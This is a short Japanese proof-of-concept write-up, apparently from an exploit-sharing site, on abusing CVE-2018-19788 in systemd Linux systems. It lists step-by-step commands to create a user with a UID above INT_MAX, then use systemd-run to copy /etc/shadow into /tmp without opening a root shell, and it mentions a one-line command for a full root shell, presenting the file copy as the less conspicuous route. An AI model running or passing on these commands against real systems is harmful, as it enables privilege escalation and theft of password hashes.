CVE-2018-19788を悪用してrootシェルなしで保護されたファイルを取得する

CVE-2018-19788は、UIDがINT_MAX（つまり4000000000）を超える任意のユーザーが、Ubuntuなどのsystemd Linuxボックス上で任意のsystemctlコマンドを実行できるという問題です。(rootシェルを取得するwriteupはすでにあります: こちら)。このwriteupと完全なrootシェルwriteupの主な違いは、rootユーザーとしてではなくユーザー自身として実行されることです（正直に言うと、基本的には単なるPoCです）。

rootシェルを実行せずに/etc/shadowを取得する

rootシェルを取得するにはsystemd-run -t /bin/bashを実行するだけですが、目立たないようにしたい場合は、ターミナルなしで特権ファイルを取得するために簡単なコマンドを実行できます。これを行うには、次の手順に従ってください:

• INT_MAXを超えるUIDのユーザーを追加します:
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• そのユーザーアカウントに切り替えます:
  root@kitploit:~

  su someusername
  

• 取得したい任意のファイルに対してコマンドを実行します（ここでは/etc/shadowを使用します）:
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• ファイルは現在/tmpにあります:
  root@kitploit:~

  cat /tmp/results_poc.txt
  

PoCビデオ